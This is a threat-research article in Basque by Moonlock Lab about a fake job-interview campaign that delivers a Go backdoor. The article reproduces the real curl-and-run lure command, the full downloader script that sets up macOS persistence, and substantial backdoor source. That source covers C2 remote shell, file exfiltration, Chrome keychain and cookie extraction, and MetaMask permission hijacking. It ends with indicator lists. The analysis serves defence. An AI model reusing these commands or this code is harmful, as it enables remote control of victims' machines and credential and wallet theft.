
MacPaw-en Moonlock Lab taldeak idatzia
Etengabeko ziber-kanpaina bat lan-eskatzaileei elkarrizketa-webgune faltsuekin bideratzen ari da, eta atzeko ate oso eraginkorra deskargatzera engainatzen ditu. Lausotze-teknikak erabiltzen dituen malware sofistikatua ez bezala, eraso hau sinpletasunean oinarritzen da: iturburu-kodea Go bitar batekin batera helaraziz, plataforma anitzeko moduan. Are kezkagarriagoa da MetaMask kriptografia-monetarekin lotutako Chrome luzapenaren baimenak bahitzeko saiakera, biktimen zorroak hustu ditzakeelarik.
Kanpainak aktibo jarraitzen du, eta aldian-aldian domeinu berriak agertzen dira biktima gehiago erakartzeko. Segurtasun ikertzaile eta enpresa indibidual asko, esaterako
Moonlock Lab taldea 2024ko urriaren 9an hasi zen malware zehatz horren jarraipena egiten, atzeko atearen lehen osagaiak agertzen hasi zirenean. Atzeko atea sistema batean ezkutatzen den eta mehatxu-eragileei komandoak urrunetik exekutatzeko aukera ematen dien software gaizto bat da, lan-estazioaren jabe legitimoak balira bezala. Eraso hauek C2 (Command and Control) zerbitzariak erabiltzen dituzte normalean komandoak bidaltzeko eta exekutatzeko.
Eraso hau normalean ikusten ditugun beste batzuetatik bereizten duena fase anitzez osatuta dagoela da eta biktima baten makinan irauteko diseinatuta dagoela, tiro bakarreko datuak lapurtzeko fluxua erabili beharrean. Eraso faseen ikuspegi osoa beheko irudian ikus daiteke.
Ohartu genuen X-ri buruz ondo egituratutako lehen haria argitaratu zuen
' Normalean konpainia ezaguneko "recruiter" batekin hasten da, adibidez Kraken, MEXC, Gemini, Meta. Soldata-barrutiak + mezularitza-estiloa erakargarriak dira, baita lan-ehiza aktiborik ez dutenentzat ere. Gehienbat Linkedin bidez. Baita freelance guneak, lan guneak, tg, discord, etab.
Malware honen azken bertsioa lortzeko, ezinbestekoa zen elkarrizketa gune faltsuak hartzen dituzten domeinu berriak kontrolatzea. Horretarako, gure taldeak domeinu hauek partekatzen dituzten bi adierazle aldaezinetan oinarritu zen:
Nahiz eta kanpaina honetan erabilitako domeinu batzuk ixten ari diren, berriak agertzen jarraitzen dute, azkena sarean jarraitzen du: smarthiretop[.]online . Gure taldeak 20 domeinu aktibo baino gehiago ikusi ditu 2024ko azaroaz geroztik.
Domeinuak ikertu ondoren, horietako batzuek IP helbide bera partekatzen dutela ikusi dugu. Hau askotan gertatzen da erasotzaileek balen aurkako ostalaritza-hornitzaileak erabiltzen dituztelako, domeinu anitz zerbitzari berean ostatatzea ahalbidetzen dutenak. Gainera, hainbat domeinu IP bakarrean ostatzeak mehatxuen eragileei domeinuak biratzeko aukera ematen die backend azpiegitura aldatu gabe.
Azpiegitura gaizto hau mundu osoan banatutako hainbat zerbitzutan dago ostatatuta. Beheko mapan ikusten den bezala, zerbitzari gehienak AEBetan daude, eta batzuk beste herrialdeetan banatuta daude.
Elkarrizketatuei exekutatzeko eskatu zaien komando gaiztoa webgune gaizto bat bisitatzen dutenean agertzen den leihoan ezkutatzen da. JS kodea da, kasu honetan main.39e5a388.js fitxategian bilduta. Fitxategi-izenak hashing edo hatz-markak erabiliz sortzen dira normalean web aplikazio baten eraikuntza-prozesuan (Erreferentzia:
Orrialde batek JS fitxategi hau dauka txertatuta SHA256 hash honekin:
Erraz antzeman genezake eraikitako JS fitxategi baten barruan biktimei sartzeko eskatutako komando berdinak daudela:
Mehatxu aktoreak malwarea nola zabaltzen duen ulertu ondoren, gure helburu nagusia laginak azkar aurkitzea eta gure erabiltzaileentzako sinadurak garatzea zen. Aurkitu genuen "ekoizpenerako prest" laginen eta haien SHA-256 hashen lehen aipamen zuzena hari honetan zegoen:
Bost hash sartu zituen, hau da:
Honetaz gain, gure taldea script maltzurren bila hasi zen haiek deskargatzera engainatuta egongo bagina bezala, biktimen antzera. Halako batean, honako komando hau erabili zen elkarrizketa webgune faltsuetan:
Komandoa pantaila-argazkitik (ez exekutatu!):
sudo sh -c 'curl -k -o /var/tmp/ffmpeg.sh https://api.nvidia-release.org/ffmpeg-ar.sh && chmod +x /var/tmp/ffmpeg.sh && nohup bash /var/tmp/ffmpeg.sh >/dev/null 2>&1 &'
Jarraian zerrendatutako ekintzak egiten ditu:
Aldi baterako karpeta batean gordetako ffmpeg.sh fitxategiaren barruan, eraso honen sarrera-puntua aurki dezakegu, hau da:
Beheko gidoitik ikus dezakegunez, macOSentzat bereziki diseinatuta dago, bai Intel bai ARM aldaeretarako. Uneko CPU eredua definitu ondoren, fitxategi anitzekin ZIP artxibo bat deskargatzen du. Gidoi honen berrikuspen zehatzagoa helbidean aurki daiteke
#!/bin/bash # Define variables for URLs ZIP_URL_ARM64="https://api.nvidia-cloud.online/VCam1.update" ZIP_URL_INTEL="https://api.nvidia-cloud.online/VCam2.update" ZIP_FILE="/var/tmp/VCam.zip" # Path to save the downloaded ZIP file WORK_DIR="/var/tmp/VCam" # Temporary directory for extracted files EXECUTABLE="vcamservice.sh" # Replace with the name of the executable file inside the ZIP APP="ChromeUpdateAlert.app" # Replace with the name of the app to open PLIST_FILE=~/Library/LaunchAgents/com.vcam.plist # Path to the plist file # Determine CPU architecture case $(uname -m) in arm64) ZIP_URL=$ZIP_URL_ARM64 ;; x86_64) ZIP_URL=$ZIP_URL_INTEL ;; *) exit 1 ;; # Exit for unsupported architectures esac # Create working directory mkdir -p "$WORK_DIR" # Function to clean up cleanup() { rm -rf "$ZIP_FILE" } # Download, unzip, and execute if curl -s -o "$ZIP_FILE" "$ZIP_URL" && [[ -f "$ZIP_FILE" ]]; then unzip -o -qq "$ZIP_FILE" -d "$WORK_DIR" if [[ -f "$WORK_DIR/$EXECUTABLE" ]]; then chmod +x "$WORK_DIR/$EXECUTABLE" else cleanup exit 1 fi else cleanup exit 1 fi # Step 4: Register the service mkdir -p ~/Library/LaunchAgents cat > "$PLIST_FILE" <<EOL <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.vcam</string> <key>ProgramArguments</key> <array> <string>$WORK_DIR/$EXECUTABLE</string> </array> <key>RunAtLoad</key> <true/> <key>KeepAlive</key> <false/> </dict> </plist> EOL chmod 644 "$PLIST_FILE" if ! launchctl list | grep -q "com.vcam"; then launchctl load "$PLIST_FILE" fi # Step 5: Run ChromeUpdateAlert.app if [[ -d "$WORK_DIR/$APP" ]]; then open "$WORK_DIR/$APP" & fi # Final cleanup cleanup
Erreferentzia:
Scriptak eskuratzen duen artxiboaren edukia (Intel CPUrako bertsioa) behean zerrendatzen da:
Artxiboko fitxategi guztiak zenbait taldetan sailka daitezke:
Interesgarria da artxiboak 75 MB inguruko tamaina duela, batez ere Go liburutegi eta bitar legitimoen zati asko barne hartzen dituelako.
Eraso honetan denbora luzez erabiltzen zela ikusi genuen fitxategietako bat 2 arkitektura dituen Mach-O bitar unibertsal bat da, CameraAccess izenekoa ( SHA256: 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd56757e392a ).
Google Chrome ikono baten itxura hartzen du, erabiltzaile arruntek fitxategia zilegia dela sinetsiz eta ezabatzea eragozten die.
Kodea Swift-en idatzita dago, eta ez da lausotze-teknika sendorik detektatu, exekuzio-fluxua ulertzea nahiko erraza delarik.
Sistemaren jakinarazpen leiho baten itxura duen leiho bat erakusten du, erabiltzaileari mikrofonorako sarbidea emateko eskatuz, ustez Google Chrome aplikaziotik eskatuta.
Erabiltzaileak "Gehiago gogorarazi" hautatzen badu ere, pasahitza galdetzeko leiho bat agertzen da oraindik.
Aplikazioak mikrofonorako sarbidea behar duela dio; hala ere, sandboxed dago, eta ez da benetako baimen-eskaerarik egiten mikrofonorako.
Erabiltzaileak pasahitza sartu ondoren, malwareak exekutatzen ari den ostalariaren kanpoko IP helbidea eskatzen du. Ondoren, password.txt fitxategia erabiltzailearen kanpoko IP helbidearen izena duen Dropbox karpeta batera bidaltzen du.
Beheko pantaila-argazkian Dropbox API URLa ikus daiteke.
Sareko trafikoa aztertzean, biktima baten IP helbide publikoa berreskuratzeko saiakerak ikusi ahal izan ditugu.
IP helbidea jaso ondoren, Dropbox-i egindako eskaerak ikus genitzake IP-pasahitz bikotea kodetutako kredentzialak erabiliz kargatzeko.
Gure taldeak gertakari honen berri eman zion Dropbox-i, abusuzko kanpaina hau egiteko erabilitako kredentzialekin batera.
Garrantzitsua da kontutan izan ffmpeg.sh script-ak deskargatutako ZIP fitxategiak atzeko atearen testu arrunteko iturburu kodea duela, hau da, ez zela ez aurrez konpilatu ez lausotu. Azterketa nabarmen bizkortu du, baina atribuzio egokiari buruzko galderak ere planteatu ditu. Esan beharrik ez dago RPDCko APT taldeak normalean askoz sofistikatuagoak direla.
Ezohiko beste estrategia bat Go bitar bat ( /bin/go ) artxiboan sartzea da, kode osoa besterik gabe konpilatu beharrean. Hala ere, sistema eragile askotan Go aplikazio lehenetsia ez denez, baliteke mehatxu-eragileek bateragarritasun hobea izateko sartu izana. Horrek zentzua du, malwarea plataforma anitzekoa dela eta aldi berean macOS, Linux eta Windows-ek helburu dituela.
Harremanak ilustratzen dituen grafikoa eta lagin aipagarri bakoitzaren deskribapen zehatza hemen aurki daiteke:
Artxiboaren barruan, vcamupdate.sh izeneko script bat dago. Deskonprimitu eta berehala exekutatzen da eta /bin/go besterik gabe exekutatzen du (ZIPan bilduta dagoena) Golang aplikazio nagusirako bidea (kasu honetan app.go ) pasatzen duen bitartean.
#!/bin/bash # Set the working directory to the folder where this script is located cd "$(dirname "$0")" echo "Installing Dependencies..." project_file="app.go" ./bin/go run "$project_file" exit 0
Sarrera aplikazioa ( app.go ) erabiltzailearen lan-estaziorako UUID bakarra sortzeaz, C2 URLa hasieratzeaz eta begizta nagusia abiarazteaz arduratzen da. Kodean lerro bakarreko iruzkinak, laguntza-mezuen inprimaketak eta iruzkintutako kode batzuk ikus ditzakegu. Probetarako pentsatutako URLak ere barne hartzen ditu, garatzaileek ahaztuta ezabatzea. Kanpaina nagusian C2 IP helbidea desberdina izan arren, 2024ko laginek funtzionalitate bera partekatzen zuten eta datu berdinak bideratu zituzten.
Geroago core.StartMainLoop(id, url) deiak core/ karpetara eramaten gaitu loop.go eta work.go fitxategiekin. Loop.go fitxategia C2-tik komandoak jaso eta exekutatzeko ardura da nagusiki, datu sentikorrak biltzen dituzten azpimoduluetara deituz eta urruneko zerbitzarira igotzeaz. Funtzio asko ditu, eta horietatik 8 nabarmendu eta zehatzago aztertu nahiko genituzke.
Funtzio honek konfigurazio azpimodulua erabiltzen du erabilgarri dauden komandoak hasieratzeko eta sarrerakoak entzuteko. Jarraian, komando guztiekin taula bat aurki dezakezu, dagozkien kodeak eta guzti. Atzeko atearen funtzionalitatearen azterketa zehatzagoa hemen aurki daiteke
Komandoaren izena | Izen kodetua | Deskribapena |
---|---|---|
COMMAND_INFO | qwer | Lortu erabiltzaile-izena, ostalaria, OS, arch |
COMMAND_UPLOAD | asdf | Kargatu eta deskonprimitu artxibo arbitrarioa C2tik ostalarira |
COMMAND_DOWNLOAD | zxcv | Deskargatu lapurtutako datuak C2-ra |
COMMAND_OSSHELL | vbcx | Hasieratu ostalariaren eta C2 arteko shell interaktiboa (exekutatu urruneko komando arbitrarioak) |
COMMAND_AUTO | r4ys | Bildu automatikoki datu sentikorrak |
COMMAND_WAIT | ghdj | Itxaron X segundo |
COMMAND_EXIT | dghh | Irten begizta nagusitik (ezarri bizirik=faltsua) |
C2-tik jasotako komandoan oinarrituta, funtzio egokia deituko da.
func StartMainLoop(id string, url string) { var ( msg_type string msg_data [][]byte msg string cmd string cmd_type string cmd_data [][]byte alive bool ) // initialize cmd_type = config.COMMAND_INFO alive = true for alive { func() { // recover panic state defer func() { if r := recover(); r != nil { cmd_type = config.COMMAND_INFO time.Sleep(config.DURATION_ERROR_WAIT) } }() switch cmd_type { case config.COMMAND_INFO: msg_type, msg_data = processInfo() case config.COMMAND_UPLOAD: msg_type, msg_data = processUpload(cmd_data) case config.COMMAND_DOWNLOAD: msg_type, msg_data = processDownload(cmd_data) case config.COMMAND_OSSHELL: msg_type, msg_data = processOsShell(cmd_data) case config.COMMAND_AUTO: msg_type, msg_data = processAuto(cmd_data) case config.COMMAND_WAIT: msg_type, msg_data = processWait(cmd_data) case config.COMMAND_EXIT: alive = false msg_type, msg_data = processExit() default: panic("problem") } msg = command.MakeMsg(id, msg_type, msg_data) cmd, _ = transport.HtxpExchange(url, msg) cmd_type, cmd_data = command.DecodeMsg(cmd) }() } }
Funtzio honek sistemaren oinarrizko informazioa bilduko du, hala nola, erabiltzaile-izena, ostalari-izena, OS bertsioa eta arkitektura. Kontuan izan behar da infostealer ezagun gehienek sistemaren informazio gehiago biltzen dutela malware honek baino.
func processInfo() (string, [][]byte) { user, _ := user.Current() host, _ := os.Hostname() os := runtime.GOOS arch := runtime.GOARCH print("user: " + user.Username + ", host: " + host + ", os: " + os + ", arch: " + arch + "\n") data := [][]byte{ []byte(user.Username), []byte(host), []byte(os), []byte(arch), []byte(config.DAEMON_VERSION), } return config.MSG_INFO, data }
Kasu honetan, igotzeak C2-tik kutsatutako ostalarira artxibo-fitxategi bat bidaltzeko prozesua adierazten du, eta ondoren deskonprimitzea. Deskonpresioa arrakastatsua izan den ere adierazten du.
func processUpload(data [][]byte) (string, [][]byte) { var log string var state string path := string(data[0]) buf := bytes.NewBuffer(data[1]) err := util.Decompress(buf, path) if err == nil { log = fmt.Sprintf("%s : %d", path, len(data[1])) state = config.LOG_SUCCESS } else { log = fmt.Sprintf("%s : %s", path, err.Error()) state = config.LOG_FAIL } return config.MSG_LOG, [][]byte{ []byte(state), []byte(log), } }
Funtzio hau aurrekoaren alderantzizkoa da. Tar.gz artxiboan aldez aurretik bildutako fitxategiekin direktorio baten konpresioa egiten du.
func processDownload(data [][]byte) (string, [][]byte) { var file_data []byte var err error path := string(data[0]) _, file := filepath.Split(path) info, _ := os.Stat(path) if info.IsDir() { var buf bytes.Buffer err = util.Compress(&buf, []string{path}, false) file = fmt.Sprintf("%s.tar.gz", file) file_data = buf.Bytes() } else { file_data, err = os.ReadFile(path) } if err == nil { return config.MSG_FILE, [][]byte{[]byte(config.LOG_SUCCESS), []byte(file), file_data} } else { return config.MSG_FILE, [][]byte{[]byte(config.LOG_FAIL), []byte(err.Error())} } }
Hau benetako backdoor batek izan behar duen funtzioa da. Agindu arbitrarioaren zain dago eta exekutatzen saiatzen da. Komando batek komando-lerroko argumentuak izan ditzake eta irteera zuzenean C2 batean erregistratuko da.
func processOsShell(data [][]byte) (string, [][]byte) { mode := string(data[0]) // mode timeout, _ := strconv.ParseInt(string(data[1]), 16, 64) shell := string(data[2]) args := make([]string, len(data[3:])) for index, elem := range data[3:] { args[index] = string(elem) } if mode == config.SHELL_MODE_WAITGETOUT { // wait and get result mode ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeout)) defer cancel() cmd := exec.CommandContext(ctx, shell, args...) out, err := cmd.Output() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), out, } } } else { // start and detach mode c := exec.Command(shell, args...) err := c.Start() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte(fmt.Sprintf("%s %s", shell, strings.Join(args, " "))), } } } }
Hau da lapurreta-fluxuaren sarrera-puntua. Funtzio honek auto/ karpetan dauden fitxategietara dei ugari ditu. Datu hauen hartzaileak, prozesadoreak edo aldatzaileak barne hartzen dituzte:
func processAuto(data [][]byte) (string, [][]byte) { var ( msg_type string msg_data [][]byte ) mode := string(data[0]) switch mode { case config.AUTO_CHROME_GATHER: msg_type, msg_data = auto.AutoModeChromeGather() case config.AUTO_CHROME_PREFRST: msg_type, msg_data = auto.AutoModeChromeChangeProfile() case config.AUTO_CHROME_COOKIE: msg_type, msg_data = auto.AutoModeChromeCookie() case config.AUTO_CHROME_KEYCHAIN: msg_type, msg_data = auto.AutoModeMacChromeLoginData() default: msg_type = config.MSG_LOG msg_data = [][]byte{[]byte(config.LOG_FAIL), []byte("unknown auto mode")} } return msg_type, msg_data }
Atzeko atea lo moduan bidaltzeko erabiltzen den erabilgarritasun-funtzioa, komando gehiagoren zain.
func processWait(data [][]byte) (string, [][]byte) { duration, _ := strconv.ParseInt(string(data[0]), 16, 64) time.Sleep(time.Duration(duration)) send_data := make([]byte, 128) rand.Read(send_data) return config.MSG_PING, [][]byte{send_data} }
Hau C2-rekin komunikazio begizta nagusitik irteteko erabiltzen den erabilgarritasun-funtzioa da.
func processExit() (string, [][]byte) { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte("exited"), } }
Auto/ karpetak Go-aplikazio multzo bat dauka:
oinarrizkoa.go
const ( userdata_dir_win = "AppData\\Local\\Google\\Chrome\\User Data\\" userdata_dir_darwin = "Library/Application Support/Google/Chrome/" userdata_dir_linux = ".config/google-chrome" extension_dir = "nkbihfbeogaeaoehlefnkodbefgpgknn" extension_hash_key = "protection.macs.extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" extension_setting_key = "extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" secure_preference_file = "Secure Preferences" logins_data_file = "Login Data" keychain_dir_darwin = "Library/Keychains/login.keychain-db" )
chrome_change_pref.go
// get json string func getExtJsonString() string { return `{"active_permissions":{"api": ["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[], "scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]}, "commands":{"_execute_browser_action":{"suggested_key":"Alt+Shift+M","was_assigned":true}},"content_settings":[], "creation_flags":38,"events":[],"first_install_time":"13361518520188298","from_webstore":false, "granted_permissions":{"api":["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[],"scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]},"incognito_content_settings":[], "incognito_preferences":{},"last_update_time":"13361518520188298","location":4,"newAllowFileAccess":true,"path":"C:\\ProgramData\\11.16.0_0","preferences":{}, "regular_only_preferences":{},"state":1,"was_installed_by_default":false,"was_installed_by_oem":false,"withholding_permissions":false}` }
// chrome kill if runtime.GOOS == "windows" { cmd := exec.Command("cmd", "/c", "taskkill /f /im chrome.exe") cmd.Run() } else { cmd := exec.Command("/bin/sh", "-c", "killall chrome") cmd.Run() }
chrome_cookie_darwin.go
var ( SALT = "saltysalt" ITERATIONS = 1003 KEYLENGTH = 16 ) func getDerivedKey() ([]byte, error) { out, err := exec.Command( `/usr/bin/security`, `find-generic-password`, `-s`, `Chrome Safe Storage`, `-wa`, `Chrome`, ).Output() if err != nil { return nil, err } temp := []byte(strings.TrimSpace(string(out))) chromeSecret := temp[:len(temp)-1] if chromeSecret == nil { return nil, errors.New("Can not get keychain") } var chromeSalt = []byte("saltysalt") // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157 key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New) return key, nil }
chrome_cookie_other.go
chrome_cookie_win.go
chrome_gather.go
func AutoModeChromeGather() (string, [][]byte) { print("=========== AutoModeChromeGather ===========", runtime.GOOS, "\n") var ( buf bytes.Buffer userdata_dir string path_list []string ) // gather userdata_dir = getUserdataDir() // file system search _ = filepath.Walk(userdata_dir, func(path string, info os.FileInfo, err error) error { if info.Name() == extension_dir && strings.Contains(path, "Local Extension Settings") { path_list = append(path_list, path) } return nil }) _ = util.Compress(&buf, path_list, true) print("=========== End ===========\n") // return data := make([][]byte, 3) data[0] = []byte(config.LOG_SUCCESS) data[1] = []byte("gather.tar.gz") data[2] = buf.Bytes() msg_type := config.MSG_FILE return msg_type, data
Gure analisia amaitzeko, puntu garrantzitsuenak nabarmendu behar ditugu:
app.blockchain-checkup[.]com app.hiring-interview[.]com app.quickvidintro[.]com app.skill-share[.]org app.vidintroexam[.]com app.willo-interview[.]us app.willohiringtalent[.]org app.willorecruit[.]com app.willotalent[.]pro app.willotalentes[.]com app.willotalents[.]org blockchain-assess[.]com digitpotalent[.]com digitptalent[.]com fundcandidates[.]com hiringinterview[.]org hiringtalent[.]pro interviewnest[.]org smarthiretop[.]online talentcompetency[.]com topinnomastertech[.]com web.videoscreening[.]org willoassess[.]com willoassess[.]net willoassess[.]org willoassessment[.]com willocandidate[.]com willointerview[.]com willomexcvip[.]us winterviews[.]net winyourrole[.]com wtalents[.]in wtalents[.]us wholecryptoloom[.]com
b72653bf747b962c67a5999afbc1d9156e1758e4ad959412ed7385abaedb21b6 60ec2dbe8cfacdff1d4eb093032b0307e52cc68feb1f67487d9f401017c3edd7 5df555b868c08eed8fea2c5f1bc82c5972f2dd69159b2fdb6a8b40ab6d7a1830 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a 3210d821e12600eac1b9887860f4e63923f624643bc3c50b3600352166e66bfe b2a4a981ba7cc2add74737957efdfcbd123922653e3bb109aa7e88d70796a340 3697852e593cec371245f6a7aaa388176e514b3e63813fdb136a0301969291ea 0a49f0a8d0b1e856b7d109229dfee79212c10881dcc4011b98fe69fc28100182
hxxp://216.74.123.191:8080 hxxp://95.169.180.146:8080